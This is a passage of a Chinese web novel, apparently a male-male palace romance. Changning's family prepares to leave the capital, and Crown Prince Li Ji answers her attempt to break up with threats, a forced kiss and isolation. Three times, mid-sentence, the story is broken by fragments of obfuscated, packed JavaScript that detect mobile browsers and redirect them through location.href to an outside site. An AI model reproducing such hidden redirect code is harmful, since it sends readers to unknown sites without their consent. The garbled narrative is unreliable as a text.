常宁笑道：“娘，你不高兴就和我说，我带你出去玩。” 等这一宴终了，姜夫人还是不舍得叫停，纵着常宁点戏听曲。 常宁却不肯再听了，“娘不舒服快歇着，我在这里吵吵闹闹的，白白让娘心烦。” “罢了，宁宁，随娘过来。” 留了心腹收场，姜夫人带常宁进房，偌大的房间里，只有她和常宁两个人。 姜夫人斟酌问：“殿下伤势如何？” 常宁回：“好多了。要不了多少时日，想来就能恢复如初。” 姜夫人笑笑，伸手在常宁脸颊上摩挲许久，直待常宁疑惑不安地望向她，才接道：“宁宁，至多半月，我们举家便要迁回老家。你爹辞呈已经递上去了，娘也会同京城的掌柜们交割些事。往后若无事，再不会来京城。” 常宁眼皮一跳，不死心追问：“什么意思啊？” 这般呆呆愣愣的模样，在姜夫人眼里，也还是个可爱的孩子。不想眨眼之间，竟然也过去了这么多年，渐渐长大成人了。 姜夫人道：“你若同殿下有来往，便断了吧。” 常宁面上有一瞬的呆滞和茫然，吸吸鼻子，清透的眼珠骨碌碌转来转去。好半晌，才低声道：“娘，我得再想想。” 边说着，泪珠便禁不住吧嗒吧嗒落。 姜夫人便守着常宁，眸光平静柔和，如一往静谧包容的湖水。 常宁落了会儿泪，抬袖一抹脸，声音略有些嘶哑，别过头去，“总得有个由头慢慢来。无缘无故地断了，莫说他，连我也不大信的。” 她哭得伤心，姜夫人也笑不出来，搂了常宁道：“你看着便是。遇上难事，就回来找爹娘。若实在不行，强硬断了也无不可。” 但姜夫人也是赞同常宁的。能温和些断了，不招仇怨，自是最好。 常宁回到院里，便有些神思不属，任书剑和几个小丫鬟如何逗弄都不肯松口，只让他们各自休息，她要静一静。 既那般对娘亲说了，常宁也是打定了主意这样做的，可心下还是闷闷的。外面还黑着，常宁有心去找李稷，却怕宵禁时遇上歹徒被捉了去。 就这样朦朦胧胧含泪睡着了，常宁次日醒来，又百般推拒出门，只想闷在家里，且十分抵触去见李稷。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753035|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 书剑拎着红木食盒进来，献宝一般放到桌上，“少爷，太子府送来的。” 日日跟随常宁左右，书剑是隐约有猜测的，料定这次必能让常宁欢心。 不想常宁脸一下就垮了，才刚好些的气色也褪了，蔫蔫地挥手让他们分食。 正烦闷无趣间，常宁瞥了眼漏刻，竟已申时了。 这倒不妙。 要再不去，岂不是明摆着告诉李稷，常宁在家谋划事呢？ “书剑，书剑！” “少爷，什么事？我还没吃完，好吃。” 常宁对镜照了照，没有不妥帖的地方，扯上匆匆赶来的书剑就出门。 太子府中，李稷与方俞周对坐。 窗外是怪石芭蕉，尚带绿意。 二人谈完正事，方俞周奇道：“今日怎不见常宁？” 李稷淡淡道：“兴许到别处玩了。” “他对功业也不上心，”方俞周微微摇头，“好端端的，整日里玩乐，白白废了这家世才情。” 李稷补救道：“算不得废，他家中应当自有打算。” 方俞周笑道：“说到他家中，微臣这儿倒是有桩事。他父亲昨日递了辞呈，如今还在我们衙署里压着，上官过了目再呈到御前。” 李稷心绪泛起微澜。 方俞周昨日归家，想见李稷与常宁亲密之态不同于常人，折回太子府时又恰巧窥见一丝端倪。这细微之处，旁人瞧不出来，偏偏方俞周几乎是看着太子长大，当下便有了决断，胸中自是骇然。 但南风在京中大族并不罕见，方俞周只当是两个少年人情难自禁，不过是浅尝一二罢了。 他关心的只有一点。乃至他们这些朝臣，对主上的内帷之事都无窥探之意，只要事不关国本便可。 “殿下，您预备何时娶亲？” 李稷拿茶盖刮了刮茶沫，悠然道:“不急。” 方俞周面色微变，正欲开口，李稷又道：“卿何必如此？孤不欲后族坐大，必要待平定边疆后再择良妻。” 方俞周心下大定，“殿下英明。” 李稷轻笑一声：“你既忙，就不要只盯着孤。回吧。” 方俞周额角沁出细汗，“臣谨记。” 小太监打帘进来，向刘总管耳语一番。刘总管神色渐沉，不敢耽搁，忙禀道：“殿下，方才常少爷来过。” 李稷提笔的手一顿，笔端落下的浓墨泅湿一片宣纸，“听到了？人呢？” 刘总管：“当是听到了。人已回府去了。” 李稷揉揉眉心。他现下离不得府，也不大好派人往旁人府上去，“等他再来，带来见孤。” “是。” …… 常宁浑浑噩噩回到英国公府，一头扎进锦被里，泪水打湿一片缎面。 乃至去之前，常宁还抱有一丝希冀。爹娘不让她同李稷往来，无非是怕往后李稷负了她。常宁却是个话本子看多了的，总信这世间确有海枯石烂也不挪移的情意。 李稷若真如此，常宁也不惮于说服爹娘。 可今日李稷与方俞周的那席话，却如当头棒喝。 娶亲，他要娶谁呢？ 天边彤云似火，倦鸟归林，排雁南飞。常宁推开格子窗，下巴枕在胳膊上，眼眸犹带泪痕，却渐渐干了，只是眼睛仍有些不舒服。 总之不可能是她了。 那为什么李稷一边和她在一起，一边却又能想着娶旁人？他又想了多久呢？ 整整一个时辰，李稷都不曾来找常宁。 常宁如今是既怨且悲且怒，先前总摇摆不定的心，现下也愈发坚定了。 管他来不来，常宁明日必定要问个明白。 而后再作决断。 55. 决裂 三日后，常宁消了些气，裹着兜帽往太子府去。 方俞周笑着颔首致意。常宁矜持地一扬下巴，也不搭理他，径自去寻李稷。 廊前檐下换上了新的琉璃宫灯，丝绦在风里飘摇。深秋寒凉，日光洒在这座修葺之中的府邸上，半新半旧之间，也焕发出别样的光彩。 游廊里挂着几只精巧的鸟笼，宫人早就放食换水。常宁来者不善，却也不急着进去，驻足调弄那只绿鹦鹉。 鹦鹉扑棱着叫道：“来了，来了！” 常宁恐吓：“炖了，炖了！” 鹦鹉吓得往后缩，撞在笼面上，“坏了，坏了！” 常宁还待再去吓它一吓，等会儿就把它们一溜烟全给放了，谁让李稷宝贝它们。不等她行动，身后便传来一道熟悉的嗽声。 李稷静静看常宁，凤目闪过笑意。 常宁脸上的笑却消失地一干二净，扭头瞧了瞧，令声道：“找个能说话的地方。” 李稷颔首，对常宁拿乔耍性也不侧目，屏退了众人，引常宁坐下，推过去几碟精致美味的糕点。 常宁注意到了。虽是她爱吃的，但她才不吃呢，微昂下巴，将他自上而下打量而过：“喂，你前几天那话，什么意思？你还娶谁？” 李稷道：“孤拿来哄骗人的说法。” 常宁：“我不信！你一定是不喜欢我了，我从没见过像你这样三心二意、脚踏两条船的人！好哇，你不止钩着我，还一边害着旁的姑娘家，实在没有比你更坏的了！” 她咄咄逼人，李稷并不恼，胸臆中反而有种莫名的情愫。 正是在意他，方才质问他。 从没与人起过这样的争执，既关风月，又关于常宁，李稷垂眸思索应对之法。 室内的沉默寂静却又让常宁忆起暗自垂泪的时刻，不觉便眼眸酸涩，半是委屈半是怨怒，低下头去瞧茶汤中倒映着的自己。 她想听到李稷坚定的否认、认真的反驳，最好拿出叫她一句话也说不出的证据来。可李稷什么都没有，只有愈发长久的沉默，还有隔了许久才挤出来的干巴巴的话语。 李稷道：“孤只爱你一个。从前是，如今是，往后也是。” 可这根本不足以抚平常宁这些时日的仿徨、委屈、以及怨愤。 常宁仰脸，眸中已是泪光点点。 李稷：“别哭。” 常宁哇地一声哭出来，“你凭什么不理我，我不来找你你就不来找我。明知道我在意，还一句话都不给我捎，擎等着我来问你！” 李稷道：“孤派人递了帖子，邀你到府上来，你不来。” 常宁道：“这能一样吗？难不成我是同那送帖子的小厮处在一起不成？我还不如随便拉个人再不理你了呢！你不找我，不就是打量着我没你的公务重要，不就是寻思着我会来找你？” 李稷此刻才觉出不妙来。他如今，替人拭泪遭人回避冷眼，待要回话，却不知该先回哪句。 可有一句却格外刺耳，仅仅滑过耳畔，便教他有种血液逆流的冲动，“莫胡说。小厮怎配得上你，又怎比得过孤。” 常宁颇有些失望了。 李稷亦非蠢笨之人，自知失言，便道：“孤一时心急。若有孤的不是，你一一指明，孤改正就是。” 常宁却觉齿冷。她此次过来，七成是奔着一刀了断来的，自然先入为主，费尽心思寻找能够支撑她抽身的证据。 可观李稷态度，全然不觉有错。恍惚间，常宁便觉置身寒冬腊月，心肺都教冰雪冻了去。 常宁敛眸，扯出个笑，“那殿下，你何不娶我呢？” 李稷面色陡然阴沉，险些攥折了腰间玉组，“你我同为男子，怎可行此事？” 常宁拉起李稷一只手，双手合着，语出惊人，“我是女子，就可以了吗？” 李稷也不禁被这简短的一句话激得心神荡漾，随之又泛起滔天苦涩。 他闭眸，又慢睁眼，平静无波，“不。” 常宁手紧了一下，追问：“为何？” 李稷瞧一眼常宁。浅栗色的发，明灿灿的，柔润亮泽。白皙细腻的脸庞上，那双茶色桃花眸如一汪春水，蕴着说不尽的绵绵情意。 “你的祖母，是位异族人？” 常宁一把推开李稷，蹭地站起来，连泪都流不出了，咬牙道：“你混蛋！” 李稷再度闭上眸子，强压下揽人细哄的念头。 都是命。 老天既教他同常宁相遇，却又多么可笑呵，偏将他二人都托生了男儿身。 这世道容不下他们。 李稷不惧讽嗤，也不惮于下手压下旁人的非议，见这些话一句也传不到常宁耳中去。 可漫漫余生，李稷怕，他怕常宁想岔了，去幻想那若为女娇娥的荒诞怪梦。 他已不求子嗣，也愿舍弃□□，只要同常宁在一处便好。 李稷道：“你认了吧。” “是，我就是认了！”常宁叉腰踱来踱去，忽地顿住，勾出个悲戚嘲讽的笑，“我们就到此为止吧！”说罢，便要出了内室往外走。 “站住！” 身后传来李稷饱含隐怒的喝声，常宁身形却不带留恋的，只一味要去拔那门闩。 在常宁碰到门闩前，李稷攥住常宁伸出的手，寒铁一般强硬地将人扣在怀中，“你冷静些。” 常宁冷笑道：“我很冷静。自那天听到您与方大人谈话，我便打定了主意要翌日来讨个说法。可巧您递了帖子，我就日日盼着您来找我，盼了整整三天，却连您的影子都没见着。” 李稷软了声：“是孤的错，莫再想了。” “您听我说。我想了三天，究竟该如何待您，模模糊糊便有个念头……” “别说了。” “我只想今日来瞧一瞧，看看往日里我爱的，究竟是我的殿下，还是我杜撰幻想出的人物。” “孤让你别说了！”他声中的威势，以及那不可遏制的怒意，衬得他犹如猛虎饿狼。 常宁愈发坚定，微沉的语调中带着叹惋，“今日一见，终究是我福薄，与您无缘。我便祝殿下往后觅得良缘……” 润泽的唇，一张一合之间，吐出的尽是锥心之语。 李稷素日来只知晓，那唇是柔软的，碰触时却又如冰酥酪一般，叫人恨不得尽数吞吃了去。一字一句，几乎要戳破李稷心脏。 他不想再从这张嘴里听到任何叫他烦闷至此的话语，便亲身去堵住了。纵是要说，那便只请到他身体里去说，只说与他一个人听，说与他的心肺脾脏，说与他的血脉经络，最好叫他也听不清这密语！ 这些叫嚣着的狂悖的情愫，几近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758413|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲破他皮肉。与曾经宿夕相伴的恋人拥吻的滋味，也叫他沉溺。 但在对上常宁浮上恐惧的泪眸时，李稷收敛情思，堪称温柔地伸指拭去常宁眼角的泪意，“怎么哭了？” 常宁早被李稷板着肩膀转了过来，无他相对，低眸道：“你弄疼我了。” 李稷道：“孤看看。” 常宁沉默着往后缩了一下，脊背抵上门板，别过头去，“不要。” 此间如此寂静，饶是已经迈出了第一步，然而中道却又遇上拦阻。常宁在如斯静默中，浑身紧绷，心惊肉跳，出口的每一个字，连她也不知是否合适。 李稷大概疯了罢。 “孤没疯，”李稷似笃定，又是哀叹，“是你负了孤。你欲弃孤于不顾。” 早在方俞周提起英国公的辞呈时，李稷便嗅到了危机。那时他曾以为，这危机便是如何劝说常宁留下，而不是随父母一同迁回祖地。 他虽亲缘浅薄，不得父皇母后偏爱，却知道他的恋人与父母亲关系极好，在家中受尽宠爱，恐怕要在离别间踌躇犹豫。 但李稷从未想过，原来这所谓的危机，竟来自于恋人的决裂。 无妨。 有志者，事竟成。 李稷绝不放手。他轻轻抚了抚常宁肩头，“不要走了，留在这里。” 常宁尽力掩盖声音中的颤栗，“今夜？” 李稷笑道：“今夜、明夜、夜夜。” 常宁面色煞白，“不、不可！” 李稷从鼻子里溢出一声笑，如喷洒鼻息的猛兽，寒刃般的眸光刮视常宁，“不可？你若负了孤，一去不回，孤可如何是好？” 常宁浑身发僵，“殿下说笑，我、我岂会负了殿下？我爱您都来不及。” 李稷颔首，替常宁理理鬓发，触到濡湿之意，暗藏杀气，“宁宁，孤不曾负你，你为何负孤？竟或是——你有了旁的爱侣？” “没有！”常宁斩钉截铁。 李稷拖长了腔调，“哦？为他隐瞒？孤猜猜，是他，还是她？” 常宁有些溃散了，再忍不住，泪珠滚滚而落，环臂抱住李稷腰肢，脸颊埋在他胸口，惟有这样才能避开他的视线，在他钢刀一般极具侵略性的气势中觅得喘息之机，“没有，都没有！我只有您！” 悔之晚矣。 常宁记忆中的李稷，虽冷峻少言，却不舍得对她加一句重话，对她百依百顺，相处时更注重与她保持距离，不会唐突地便来亲密。 即便是从前她和无忧被李稷撞见了，亦没有如今这般迫人。 常宁是真真切切地体察到了后怕与迷惘。 李稷又何尝不痛？ 可每每欲放过常宁，满心满脑便又是常宁轴着脸要与他决裂的场面，登时血脉贲张。 又仿似耳朵深处有道声：看吧，他的宁宁，就是这样吃硬不吃软。 所有那些软言软语待常宁的，都逃不过被抛弃的命运。 “孤只当你没说过那些不痛快的话，你我如初，你可愿意？” 常宁用力点头，抬眸望去，只看到李稷滚动的喉结和凌厉的下颌。 李稷便含笑了，板正常宁，“用过早膳来寻孤，在孤这里用过晚膳再回去，可好？” 总算能回家了，常宁连连点头。 “那便记好了。” 56. 离心 “娘！” 天色渐暗，常宁才疾步踏入英国公府，抹一把父母去寻姜夫人。 气喘吁吁地站定，就落入一个带有馨香的怀抱里。姜夫人拿帕子轻柔地给常宁擦汗，抱怨道：“出去半日，怎么瞧起来就憔悴了？” 英国公哼哼道：“她那是高乐了，念不及她家里还有老父老母。” “哎呀爹，你们可不老，”回到英国公府，常宁一颗狂乱的心安定下来，没骨头似的瘫在椅子里，“快别提了，就差那么一点，你们就见不到我了！” 夫妇二人对视一眼，英国公问道：“哪里不顺？” 处处不顺！ 常宁一抬下巴：“你求我，我再说。” 英国公一块果脯掷过去，常宁伸手接了就狼吞虎咽地吃起来，含糊道：“半个月走不了。我今天在外面，那可是给人当龟孙都不为过。爹你不知道多可怕，我差点就见不到我娘了。” 姜夫人心疼坏了，握了盏温茶，一点点喂给常宁，“好孩子，慢些。” 英国公沉默不语。 常宁总算开心了些，偷眼看姜夫人，“娘，你真好看。” 她其实不饿，毕竟在李稷那边用过晚膳才回来。可在太子府提心吊胆一下午，生怕行差步错，回了家便格外舒心，糕点果子吃起来也分外香甜。 眼看常宁吃得差不多了，英国公问：“你细细讲来。” 常宁握拳从头讲起，时不时骂李稷两句。当然，常宁可不像李稷那么不要脸，隐去了他亲她的那一段，只说他威胁她。 姜夫人心有余悸：“上次他来咱们府上，我瞧着也是人中龙凤，岂知竟是这般面目。” 常宁十分赞同，连连点头：“是啊是啊，他居然羞辱我！爹，他还羞辱你娘！他分明觉着咱们家有外族血脉，不配给他做媳妇呢！我真是看错他了！” 英国公气得直捋胡子喘粗气，脸膛都涨红了，立马加入常宁。 姜夫人总觉得不顺畅，“他这话，倒像前后矛盾似的，一边非你不可，一边却要推开你。” 常宁那叫一个怒火中烧，“他肯定是想三宫六院，一面娇妻美妾在怀，一面又悄摸摸占我便宜！” 再不合理，姜夫人也霎时被常宁这句话带了节奏，“不行，他绝非良配，早日脱身为妙。” 常宁讪讪，摸摸鼻尖，“这不是快不了嘛。要不是我能屈能伸，今天就交代在那儿了。” 在常宁的描述里，她就是最识时务的俊杰，而李稷则是世上最奸恶之人。得亏她用了妙计，才拖住了他。 姜夫人美目流转，“你将你二人从前如何相处一一道来。既然急不得，那就慢慢来，一点点地，专和往常对着干，教他烦闷不堪，主动提出了断。” 常宁捧腮膜拜：“娘真厉害！” 英国公与有荣焉。 可常宁也只是在家里嚣张，翌日到了太子府，照旧是蔫哒哒的。 李稷果真如他所说“你我如初”那般，回到了昔日的模样，待常宁百依百顺。此刻他正抬了人下巴，关切问道：“怎么神色不好，昨夜没睡好么？” 常宁一激灵，“好了好了，是我早上起来太无聊。” 她可真怕他来一句，既然在家里睡不好，就搬来太子府睡云云。 李稷敛眸：“孤这边很无趣？” 常宁心里猛点头，口上却不敢接，只哄道：“哪里，我的问题。” 她一副唯唯诺诺的小人姿态，李稷看了也觉新奇。知道常宁正是怕他的时候，他索性寻了由头往外去，留常宁一个人在花园子里闲逛。 常宁好险喘了口气，迎面有群宫人捧了吃食茶水笔墨过来，恭声道：“奴照月，奉命侍候公子。” “你……你们都叫照月？”常宁瞠目结舌。 众人异口同声：“是。” 常宁惊得往嘴里塞了块桂花糕，“你们先下去。” 她现在满脑子都是照月照月照月，禁不住去找李稷，“殿下，你能不能让照月回去？” 李稷凝眸：“哪个照月？” 常宁错愕了，“刘总管该知道吧？” 刘总管委屈道：“奴才也是照月。府里上下，除了您和殿下，都是照月。” 常宁：“！！！” 李稷唇角微翘:“玩去吧。” 昨日常宁气急之语，一字一句全绕在李稷心头。纵然知晓不可能，想起来常宁那句“不如随便拉个人再也不理他”的话，也教李稷沉思。 无妨，侍候的人勤换着，叫常宁教他们的名字都记不住，专挑容貌有瑕的服侍常宁，李稷不信常宁还能移情别恋。 宫人侍候笔墨，李稷负手行至窗边，垂眸凝视窗下芭蕉。 此刻，凡是与常宁有来往之人，一一浮现在他脑中。昔日之常宁，轻浮喜交游，性情不定，青睐哪个，便掏心掏肺地对人家好。李稷不必过多思索，便能挑出来许多人。 然而自从两人不消言说便能体味到情浓滋味起，常宁就断了诸多交游，那些浮华的烟花游乐之地，是再没有去过的，也不曾再同旁人过多亲密。 那常宁近日转变，只能是与这三四日有关。若如此，倒无需忧虑，常宁心大，他捧着常宁玩一玩，过几日常宁就忘了，届时必能和好如初。 常宁却不大乐意的。 几个照月整日里围在常宁身边。常宁同哪个多说几句话，刚混个脸熟，以后就再也瞧不见这人了。 数次下来，常宁热情消退，又兼之李稷忙碌，时常留她一个人在偌大的庭院里发呆，便有些闷闷不乐。纵是温书打马，也总没趣，常宁半日里都不带说上几句话的。 等李稷偶得闲暇，踱步来寻常宁，常宁已歪在绣褥锦被里睡下了。 李稷握着常宁素白纤细的手腕，拉起锦被盖上。常宁脸颊被殿中炭火的热气蒸得泛红，琼鼻樱唇，颇有几分活色生香之意。及至那清越的眉眼，却又隐带几许泪痕，仿若不久前流过泪似的。 挑剔又难哄。 也不知常宁从哪里沾染的习气，在外安卧时，李稷从未见过常宁宽衣解带，大多和衣一躺，任凭人如何劝说也不肯罢休。 他伸指去解常宁衣领上的扣子，方才解了一粒，就被常宁捉了手，瘪嘴瞪上一眼。 似是要斥责，又忽地忆起什么，委屈地将满腔话都咽下喉管。 李稷：“不用膳？” 常宁：“用不下。” 李稷道：“起来。” “不去。”常宁是褪了袜履的，便有些羞赧，又不好明言，抿唇懒洋洋地拉过锦被蒙住脑袋。 榻边一沉，常宁还没反应过来，李稷便撩开锦被挤进来，扳过常宁的脸细看，“又哭什么？” 常宁生气了。她在家里信誓旦旦要和李稷抗争到底，真来了反而不敢妄动，又听李稷冤枉她，哼道：“是你哭了，才看我像哭。喂，你做什么？” “怕你不舒服。” 常宁清清嗓音：“你出去，我要穿鞋袜。” 李稷道：“区区小事，值当孤退避？” 常宁转眸思索一瞬，忽而笑道：“那你过来，为我穿袜着履。” 她虽算不上小霸王，可在家里也是上上下下都捧着的，才不缺李稷一个捧她的人呢。半日过去，常宁也探出来了，李稷似有几分愧意。 那她要尽情使唤他，羞辱他！ 李稷侧坐于榻沿，并不动弹。 常宁哼道：“切，假清高。” 李稷轻飘飘看常宁一眼。 常宁顺口就拐：“看什么看？还不许我说自己了？” 李稷起身在脚踏上坐下，催促道：“快些。” 常宁十分满意，撩开锦被，挪到榻沿，点评道：“你很像我的小厮。” 李稷额角一跳，“你连袜履都要小厮伺候？” 他既然问了，那常宁的答案就只有一个，“当然！” 李稷又问：“可还伺候旁的？” 常宁啧一声，“那什么贪花恋柳、初试云雨、左拥右抱……自然都是没做过的。” 李稷默然不语。 足骨纤细玲珑，晃在榻沿，白得发光。常宁催道：“快些嘛，我冷了。” 李稷低头去拿罗袜，宽阔的肩背也随之塌陷，在常宁眼下暴露无遗。 等他抬身时，常宁看准了，抬脚狠踹他左肩，不曾想竟没踹倒他，登时错愕。 李稷捉住常宁足腕，嗓音如常，平静地给常宁套上罗袜，“消气了？” 常宁恶狠狠道：“你松开！” 李稷无奈：“既要人服侍，又要推人，你究竟要如何？” 常宁：“我才没有无理取闹！你不搭理我，也不让旁人搭理我。你也不把我放在心上，什么都比我重要。我认认真真地生气，你还当我是玩乐！” 李稷瞟一眼滴漏，将常宁的乌皮靴套上，“孤还有要事，走了。” 常宁对着他脊背扔了条圆枕，他也不带回头的。 见鬼的日子，若是要过上几十年，常宁想想就来气。 他根本就一点也不在意她，既不在意她说过的话，也不在意她的心情，只顾着自己轻快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772244|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 乃至李稷还理所应当，概因他周围人皆是如此，待他毕恭毕敬是本分，讨他欢心也是职责所在。 常宁又不是他的奴才，也不愿意一味捧着他哄着他。她更乐意被人哄着。愿意哄她的人多的是，又不是只有李稷一个。 若单要被人捧着哄着，随便来个小太监，都能和李稷“断袖”，随便来个宫女都能和李稷成“挚爱”！ 常宁越想越气、越想越悔，又觉得有出路，一边感叹自己往日的傻气，一边又觉得胜利在望，甩掉李稷指日可待。 李稷近日忙得焦头烂额，但到了晚间，依旧不见常宁，只是下午时听说常宁拿了许多糕点零嘴去玩，心头便浮上些许疑窦，不由问了人的踪迹，细细寻来。 一路登山渡水，穿过了数座拱桥，才见湖边紧挨着做了两个人影，都守着鱼竿在湖岸上嬉笑。 府里没人愿意搭理常宁，只有这个沿街叫卖的少年还能和常宁说几句话。常宁就予了金银，请他过来陪她消磨时光。 “你明日还过来吗？” 那少年麦色肌肤，浓眉大眼，相貌周正，纠结道：“我是想的，但我还要卖草鞋。” 常宁果断道：“你都拿过来，我全买了，然后咱们一块玩。我在这边没趣儿得紧，只你来了还有几分盼头。” 少年亦知此处是太子府，却不知晓常宁的身份，见常宁衣锦佩玉，便当常宁是太子殿下的亲友，“会扰到府上人么？” 常宁道：“不会的。大不了人来了我就带你躲起来，你看咱们这一下午，不也没人发现吗？” 刘总管咳嗽一声。 常宁只好道别：“你可别忘了我啊，不行就去我家里玩。” 那少年见不远处一行人浩浩荡荡现身，为首之人更是面色不善，拿来常宁的金银便走，也不敢应常宁。 常宁心下烦闷，从李稷身旁经过是，拿肩膀撞了他一下，头也不回地走了。 李稷道：“站住。” 常宁才不听，不意穿过石子径时，被两个持戟卫士交戟拦了去路，只好转过身来，“几个意思？” 李稷道：“孤还没问你。” 常宁指着那少年离去的方向：“我还没怪你把他吓跑了呢。他明天指定不来找我了，到时候我又是孤零零一个人。” “孤是死的不成？” 常宁心道，还不如呢。 接收到李稷的眼色，刘总管连忙带着人下去了。 常宁则跟着李稷到湖边亭子里。 残柳依依，湖水剔透，夕阳余晖铺洒在水面上，各色锦鲤在满池枯梗间嬉游。 常宁本来窝着火气的，见了这些鱼儿，便稍稍愉悦了，“快来看鱼，你家鱼很好看。” 李稷道：“也是你家。” 他分明带着质问而来，见了常宁展颜一笑，那一缕说不清道不明的情绪便消弭于无形，执起常宁细白手腕。 相对嬉笑，那是连陌生货郎都能有的待遇。李稷自认与常宁亲厚无比，又岂能与货郎相提并论？ 常宁摸不清李稷的喜怒无常，但常宁不喜欢被笼罩在他的喜怒无常之下，侧身躲过了他，“才不是呢。别亲我。” 李稷皱眉：“为何？” 常宁其实也找不出什么由头，于是扯了个无论如何都管用的，“有悖人伦。” 李稷却凝了眸，仔细打量常宁。 常宁在家里以义士自许，同爹娘夸下海口要与李稷抗争到底，生出几分硬气来，“看什么看？你没有还是我没有？” 李稷此刻惊疑不定。 时时刻刻提醒他有悖人伦的，竟不是那些不相干的人，反而是常宁。 但更让他心惊的，是这句话背后的含义。 李稷道：“旁人都能说这句话，唯独你不能。” 义士！悍不畏死！直言相见！ 常宁：“旁人都能说，那我也要说。我现在还是觉着，走正道的好。” “孤却不这样想。” 常宁继续道：“可这实在怪不得我。我喜欢一个人，连两个月都撑不到。这么多年里，那爱过的，两只巴掌都数不过来。这可怎么办呢？嗳呀，没办法的事。” 李稷眸光落在常宁脸上。 若说昨日，李稷还能给常宁推脱，借口常宁那些话是一气之下说出口的，算不得真切。 可今日却不同。在李稷的授意下，府上无人同常宁玩闹，常宁有得是时间冷静。但常宁不仅毫无悔意，且宁愿发呆也不愿意主动寻李稷。 他的爱人，竟真的与他离心了。 57. 交心 胆大这种事，一经开口，就如同开了闸的河水，简直滔滔不绝。 何况常宁本就是胆大之人，当下慢悠悠道：“殿下，我们去用晚膳，爹娘还在家等我呢。” 她太傻了，她应该直接不来。反正李稷这么忙，常宁不来他也不一定有时间找常宁。 这顿晚膳，在常宁眼里，就如同严先生给他们放年假前的最后一顿饭，充满了期待。 明天不来了！ 常宁要冷待李稷！ 李稷虽不知常宁在想些什么，但见常宁一幅欢欣雀跃的模样，不觉心下一动。 过犹不及。一松一弛，合乎中庸，才不至于方寸大乱。 席间依旧是郑御厨的拿手好菜。常宁有感于往后再也不能吃到这门好手艺，胃口便格外大。 夕阳余光如金，斜进花厅。四下皆静，李稷与常宁对坐，直到常宁疑惑地瞅他一眼，他才恍然惊觉他竟一直盯着常宁看。 常宁似乎总有一种奇异的本领，纵使再大的惊涛骇浪，也不耽误常宁在细碎的缝隙中笑一笑。一笑过后，便又无惧风浪了。 李稷偷看常宁也不是一次两次了，常宁都习惯了。 但出于关怀，常宁问：“你有心事？” 李稷颔首：“孤从前过于自负，昨日太过唐突，不知可有伤到你？” 晚了！ 常宁哼哼，“我才不说，反正说了你又不信。” 李稷道：“往后总还长，你就留在京城，不要随伯父伯母回祖地，如何？孤为你封侯。” 常宁道：“不需要。” 英国公夫妇留在京城许多年，就是秉持着“富而无教，与禽兽何异乎”的念头，盼着常宁内外兼丰地长大成人。如今京城不大稳当，不少人暗地里都怕二皇子领兵造反，届时京城被围，尚且不知能否活命。 况且得到的越多，回报必然也不在少数，否则这种落差必然滋生怨怼。常宁不知道她有什么能给李稷的，也不想拿着一个挂名的侯爵就任李稷颐指气使。 李稷道：“你搬过来。” 常宁道：“不成样子。” 两人都是一阵沉默。 常宁又道：“以后再说，我现在不想和人吵架。” 案上有一蛊汤，李稷有，常宁却没有，“你对我都不上心。” 李稷推过去，“你用就是。” 这汤是皇后送来的。李稷生辰在正月十五。每月十五，皇后都会送一蛊汤给李稷，时常变着花样。李稷是既盼又愧。他随庆和帝，胎中又补多了，生得体格较寻常婴儿大，落蓐时很是折磨人。 这些年来，李稷虽心灰意冷，但对皇后依旧是谨孝恭敬的，只是偶尔也会失落，孺慕之情渐渐淡了。尤其常宁来后，纵使李稷察觉与皇后渐行渐远，也很少再惋惜。 他得到了更珍贵的。 常宁尝了尝，滋味一般，没郑御厨的好，于是没了兴趣，吞药一般饮尽。这汤兴许是大补之物，常宁腹中火热，总想解衣散热，但还算能忍。 随后二人又扯那堆烂账。李稷并不觉得有要改进让步的地方，只一味劝常宁不要离京。甚至常宁出言讽刺，李稷也没发作，默默地受了。 他干巴巴道：“你不走就好。” 常宁格外坚定，“不行。” 两人吵得天昏地暗，常宁气焰高涨。各处灯火渐渐点上，离宵禁愈发近。刘总管守在殿外头，一边把门，一边摇头叹气。 宵禁到了便不好走，常宁道：“往后再谈。” 李稷笃定：“没有往后了。” 常宁笑笑：“您这说的什么话。” 李稷伸手，按着常宁肩膀，将常宁压回座上，仍是隔烛相对，“你明日不会再来。” 若不是时机不对，常宁都要膜拜一番了。 肚子里的蛔虫也不过如此吧？ “错了错了，我要来的。我白身一个，哪里敢不听殿下您的吩咐？” 李稷定定看着常宁。常宁险些心虚了，虚张声势地瞪回去。 他的长相无疑是极好的，但总不爱笑，贵气之余，就有几分薄情寡恩。可展颜一笑，却又如冰雪消融，暗室逢春。 “走得那么急，你们家要瞒什么？” 常宁被吓多了，也能做到面不改色，“我爹要去著书立说教学生，我娘要做海外的生意，在京城不方便。在殿下你看来急，实则我爹娘自数年前就在盘算了，碍于我在京求学，这才耽搁了时日。” 